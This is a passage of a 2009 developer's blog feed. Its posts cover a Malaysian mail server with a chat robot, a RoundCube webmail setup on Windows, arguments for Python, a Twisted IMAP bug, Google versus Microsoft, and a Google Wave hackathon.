would eliminate log searching, greps etc for mail tracing , anti domain queue hogging and features on accountability that is way off the conventional school. </p> <p>One distinct one is the world first Email Server Robot or Avatar. Its is an MSN robot that would inform users of the mail server status, new mails alert + details, collect log files, send SMS alerts, compose emails, retrieve emails, provide Email server spam statistics, emails per hour statistics and provide an “eliza” chat for idle users.</p> <p>Looks really cool when it was demoed today. I guess the folks attending the launch on 12 Nov, 2009  will get some sneak peek too. (<a href="http://www.internetnow.com.my">www.internetnow.com.my</a>)</p> <p>If you see any other mail servers adding this feature in the future, you heard it here first. That Malaysian made, MailNow! 5 , the windows mail server…had the first ever robot. </p> <p>The team won’t be patenting it, the team here is just too engrossed in technical development than to invest in any legal procedures to write such a patent. Chances is MS Exchange would build one super robot in the future and who’s gonna sue?</p> Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-2707108039665181350.post-25113103163616175362009-09-29T00:38:00.001-07:002009-09-29T00:38:46.655-07:00RoundCube on Windows<p>While testing the high speed IMAP server that i developed, i wanted to see how it perform with some open source webmail, particularly those that works with IMAP. </p> <p>One of the most popular one that i found is RoundCube.</p> <p>1. First you need to install the WAMPSERVER. The php included should be version 5++</p> <p>2. Open up php.ini and make sure “extension_dir” points to the right directory which is under …\php\ext. Put in the extension module for sql . e.g</p> <blockquote> <p><em><font color="#008080">extension_dir = "/usr/local/apache/php/ext" <br />extension=php_mysql.dll</font></em></p> </blockquote> <p>Yeah i created an c:/usr even on my Windows so that i don’t have to much changes.</p> <p>3. Open up httpd.conf and make sure u have :-</p> <blockquote> <p><font color="#008080"><em><IfModule dir_module></em></font></p> <p><font color="#008080"><em>DirectoryIndex index.html index.php</em></font></p> <p><font color="#008080"><em></IfModule></em></font></p> </blockquote> <p>Double check to see if the following is loaded :</p> <blockquote> <p><em><font color="#008080">LoadModule php5_module "/usr/local/apache/php/php5apache2_2.dll"</font></em></p> </blockquote> <p>4. Install Mysql for Windows. (This can open up one whole can of worms if you get it wrong)</p> <p>5. Open the INSTALL file found in RoundCube and follow the instruction to create the database for roundcube. I would advice you to stick to the names given. </p> <p>5. Open the roundcube\conf\, rename the *.dist to *. (whithout dist extension). E.g  db.inc.php.dist –> db.inc.php</p> <p>Edit db.inc.php and set the  :  </p> <blockquote> <p><font color="#008080">config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail' </font></p> </blockquote> <p>to the username password that is created in 5, if you followed the default it should be :</p> <blockquote> <p><font color="#008080">config['db_dsnw'] = 'mysql://roundcube:password@localhost/roundcubemail'</font></p> </blockquote> <p>Edit the main.inc.php and set the this to where ur email server is :</p> <blockquote> <p><em><font color="#008080">$rcmail_config['smtp_server'] = '10.8.0.21';</font></em></p> </blockquote> <p> </p> <p>6. Now copy this whole roundcube folder to a subfolder under htdocs (apache) . For e.g c:\usr\local\apachce\htdocs\roundcube</p> <p>And you can try and access it via : <a href="http://x.x.x.x./roundcube">http://x.x.x.x./roundcube</a></p> <p>Good luck.</p> Unknownnoreply@blogger.com6tag:blogger.com,1999:blog-2707108039665181350.post-13820472044649473172009-09-16T21:22:00.001-07:002009-09-16T21:26:50.123-07:00Preaching Python : The obstacles<p>I am a big fan of Python. I am a Windows Developer. I’ve been doing C/C++ as long as i can remember before jumping to C# to leverage on the .NET. </p> <p>I abandoned Java when it was 2 years old, it just never got me attracted. Maybe its because my field centralizes on system level and security and not enterprise business applications.  </p> <p>Python has a distinct place in development today. But try convincing the following crowd :-</p> <p>1. A Windows C#/ASP.NET developer, been using VB since 1997.</p> <p>2. Java Developer with over 7 years of exp</p> <p>3. C++ /C hardcore</p> <p>4. PHP developer </p> <p>Here are the list of the most common obstacles :</p> <p><font color="#ff0000">1. Python is SLOW</font></p> <p>2. Python has no strong Enterprise Framework</p> <p>3. Python has weak data typing, its hard to create APIs for users to extend. </p> <p>4. C# can do everything that Python can and it works better in Windows and..faster. </p> <p>5. Python GUI development in Windows sucks.</p> <p>6. see no.1</p> <p><font color="#ff0000">Python is slow</font>. Compared to  C. Which language is faster than C ? Assembly maybe but definitely not Java or C#.  Does the program speed really matter so much when practically in most applications the speed differences might not even exist to be practical.</p> <p>Lets say you are developing a Network application that accepts data from the Internet and do something with it. The internet bandwidth speed from your ISP to you is nothing compared to your LAN speed. Lately The CPU processing power has grown from exponential to straight upward beating Moore’s Law.  In this case python would do perfectly well, the bottleneck is not the application speed but rather the internet speed.</p> <p>One of the exceptions would be if you are doing scientific research and mathematical data of which nanoseconds per iteration differences might matter to you. </p> <p><font color="#ff0000">Python is slow?</font> Use C then for the part that requires special computational algorithm . Recently a friend of mine showed me a game called Civilization, its the latest version and it uses Python. It runs fast and flawlessly on my Vista. I believe they used python just for the main framework of the game coding while the graphic rendering is back to C/C++ . Now that is smart. </p> <p><font color="#ff0000">Python is slow?</font> Blink. Did u see the difference? </p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-16422441834213770712009-09-15T21:54:00.001-07:002009-09-15T21:54:45.751-07:00Windows Live, Twisted<p>This is the first posting via the Windows Live Writer. Today my MSN Messenger pops up and literally forced me to upgrade my Msgr to the Windows Live version. </p> <p>What surprises me was the list of other services that you get to choose to install apart from Messenger itself  and one of them is this Windows Live Writer.  It allows you to post to various blogs (the first  one in the menu is MS own service naturally…)</p> <p>The online office documents is the other apps. This  put the power of the MS Office to the internet for laymen. It makes google docs looks like cavemen offering. The google doc is laden with incompatible glitches when uploading MS documents over, and MS answers to this is a solid one.  Try uploading a powerpoint and you will get what i mean….not a big issue , minor displacement here and there but still…</p> <p>So what has this gotta do with Twisted ? Nothing really, except that the solid feel you get when using components from MS compared to Twisted (open source component) sometimes is evident, at least to developers that are not just MS bashers. On the other hand, MS is super slow in adopting and promoting what is evidently internet driven standards and if you want to develop for Windows, chances is  that MS already have some offering that is either free, “included in the OS/will be” or some bundling Server products. The development for Windows software is a grim future to many Windows developers (except for project based solutions) . Of course the gang of MS partners and those getting projects from MS as partners via MS solutions are making tons. </p> <p>For independent product development, Windows leaves Anti-virus, some security related fields and libraries/components the only profitable playing field for Windows Developers looking at “off the shelf” development.  </p> <p>Now back to twisted, i was  looking at imap4.py, the “search_” functions have a typo bug that will never work , a simple one…missing an “s” on 3 functions of which i have reported to twistedmatrix. If MS components have such bugs, it would be totally unacceptable and laughable.  I was thinking to myself, is this a framework that has so much hoo-haa in Python and over 7 years of evolution? Don’t even want to start on its poor documentation. If its not because of its beautiful skeletal architecture for various protocols, i would say asynch chat in the standard Python library would be more productive.  (noob ! noob!, yeah spare me the insults)</p> <p>Python is the best  thing i have found in the OSS world. Each day passed by and i still find it the most attractive programming language.  I place Python on the same playing fields as C++, Java, C#, not Perl and other scripting languages. Its meant for serious development and deserved to be used in an IDE and adopted by full fledged teams. </p> <p>Are you using C#? Try python, use the Wing-ide. You won’t regret! You won’t lose much of the VS pampering that you are so used to and you get to think …somewhat…differently. </p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-15530119756259171432009-08-18T01:13:00.000-07:002009-08-18T01:44:09.362-07:00Google And Microsoft : Twin EffectThe evidence can be found everywhere. Headlines, headways and in some people's head.<br />The pattern is recognizable given that one have been around since DOS days.<br />Google, the company that was once just associated with "search" is no longer staying where its domain is. It has tentacles that reaches far and wide but with one clear difference. The community don't realize it or maybe they do but they sure don't hate it.<br /><br />Perhaps MS's reputation and brand was so powerfully seared into the hearts and minds of computing folks that we could only identify MS as the only possible gigantic sofware company that we could hate. One that squashes its competitor mercilessly using various "partnership" tactics through the history of IT. Novell...Nescape....scandisk....C++ builder...Word Perfect...Quattro Pro....OS/2......Isn't scandisk just a program, yeah, so was Netscape browser. Sure some of these companies survived but became obscure tech names, a fraction of what they could have been.<br /><br />Times are changing indeed. Windows Mobile is losing out. Microsoft Live Search is a joke. A victim of its own game in an ever changing world. Its rare to hear MS losing in an area that it plans to focus or profit from but the new kid in town is nothing like MS have seen. Previously everyone had to fight MS in MS own turf...and since that turf is the OS itself, it was rarely a fair fight. Its 90% of the World's desktops dear, get real. But what if you challenge MS in a very unlikely place...the cloud?<br /><br />When MS IE7 could not open the Google Wave page and Chrome could use it perfectly (ok firefox and other browsers worked somewhat) , you get a very familiar feeling. This creepy Dejavu feeling just jumps out of the page into your lap.<br /><br />Android phones? Google Doc? GMail for Corporates? GAE hosted domain.<br /><br />China always had a long history of bad Emperors and those who attempt to topple them. Given such power and position, it was usual for Emperors to behave like morons and do what they want regardless of the citizens sentiments. Heck an Emperor gets to have 600++ wives!<br /><br />But Chinese History also teaches us one thing, topple one Emperor, the one taking over his place is no better.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-19938557368614594052009-08-15T06:58:00.000-07:002009-08-15T09:26:44.707-07:00Google Wave Hackathon MalaysiaToday i attended the Wave hackathon. Some lucky fellas here are supposed to be the first in Malaysia to get google wave accounts (for the sandbox) . <div><br /></div><div>Nazrul (the founder of MYGTUG) gave an overview and everyone quickly surfed and googled for more info . Basically for most of us, its the first time we are exposed to this Wave thing. This whole idea of blurring the line between emails and chats is boggling but opens up a whole new way of using "emails". </div><div><br /></div><div>Due to some problems faced by other participants, somehow my "robot" was the only one demo-able at the end of the day. I guess my decision to just use the robot for fun things turns out to be easier to implement, Java programmers also complained about some issues with the api and Wave's unstability in handling certain events.</div><div><br /></div><div>I went in with Python and i was using WingIde Pro, that must have been a real time saver since the autocompletion and module search gave lots of revelation of how some of the Wave Api works and fixes most easy errors. The problem is that you can't do a local test, so all the code must be uploaded before you can test it , simple errors will be a waste of time. </div><div><br /></div><div>Here are some "traps" to avoid in creating a "robot" :-</div><div><br /></div><div>1. If you add a capability to the robot AFTER you already uploaded your first robot, you will need to bump the version in your "whateverrobot.py" under the _main_ so that Google Wave will recognize that you are supporting a new event handling.</div><div>Java programmers will need to modify the capabilities.xml file to bump the version.<br /></div><div><br /></div><div>2. Don't just use the Tutorial example in creating Blips, you will end up modifying the blip</div><div>that the user posted instead of creating a new one since that is what the Tutorial example does. </div><div>You will get something like "User and robot" in the blip which is probably not what you want, instead just : <span class="Apple-style-span" style="COLOR: rgb(0,153,0)"><span class="Apple-style-span" style="FONT-STYLE: italic">newblip = root_wavelet.CreateBlip().GetDocument()</span></span> </div><div>You can also try <span class="Apple-style-span" style="FONT-STYLE: italic"><span class="Apple-style-span" style="COLOR: rgb(0,153,0)">blip.CreateChild() </span><span class="Apple-style-span" style="FONT-STYLE: normal">if want it to appear below the original blip.</span></span></div><div>You must use the Tutorial example to learn and do the first upload though! Just don't</div><div>copy everyline when u want to do your actual one. </div><div><br /></div><div>3. Upload the tutorial example so make sure all your other setup is already working.</div><div>You will need to setup a Google Application Engine account and a choice of either </div><div>Python or Java. (for Python i was using ver 2.5.4). Setting up Google Application Engine requires a valid and real mobile phone (it will sms a validation code).</div><div><br /></div><div>4. IE.7 is unsupported!! Yeah, i guess Google is doing to Microsoft what Microsoft used</div><div>to do to some companies. So make sure you just stick to Chrome when participating.</div><div><br /></div><div>Overall, it was a pleasant and enjoyable event.</div><div><br /></div><div>Here is the robot i wrote (for those who have google wave account) : </div><div><br /></div><div>Id : <a href="mailto:369robot@appspot.com">369robot@appspot.com</a> </div><div><br /></div><div>Have Fun!</div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-2707108039665181350.post-36809824368591993352009-08-06T19:40:00.000-07:002009-08-06T19:44:13.791-07:00Too much support?<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYRCoNQp0WbGMLQQ7VqGr2bhm3LJLeAkyA5OEqD3PV0YJ0pdHp-QId0z-caM1SMq8Z6Ogj8RYOTRlgRIL1WTp6cTh3CJugmceefMgW8kjURTIYzVUNapFC_d4Ho1u_-G-XLyCvp_kIHyg/s1600-h/bz.jpg"><img id="BLOGGER_PHOTO_ID_5367046576022357250" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 285px; TEXT-ALIGN: center" alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYRCoNQp0WbGMLQQ7VqGr2bhm3LJLeAkyA5OEqD3PV0YJ0pdHp-QId0z-caM1SMq8Z6Ogj8RYOTRlgRIL1WTp6cTh3CJugmceefMgW8kjURTIYzVUNapFC_d4Ho1u_-G-XLyCvp_kIHyg/s400/bz.jpg" border="0" /></a><br /><div>I got this screen this morning when searching for something in MS.</div><div>Did MS just redirected all support calls to online search? ;-)</div><div> </div><div> </div><div> </div>Unknownnoreply@blogger.com0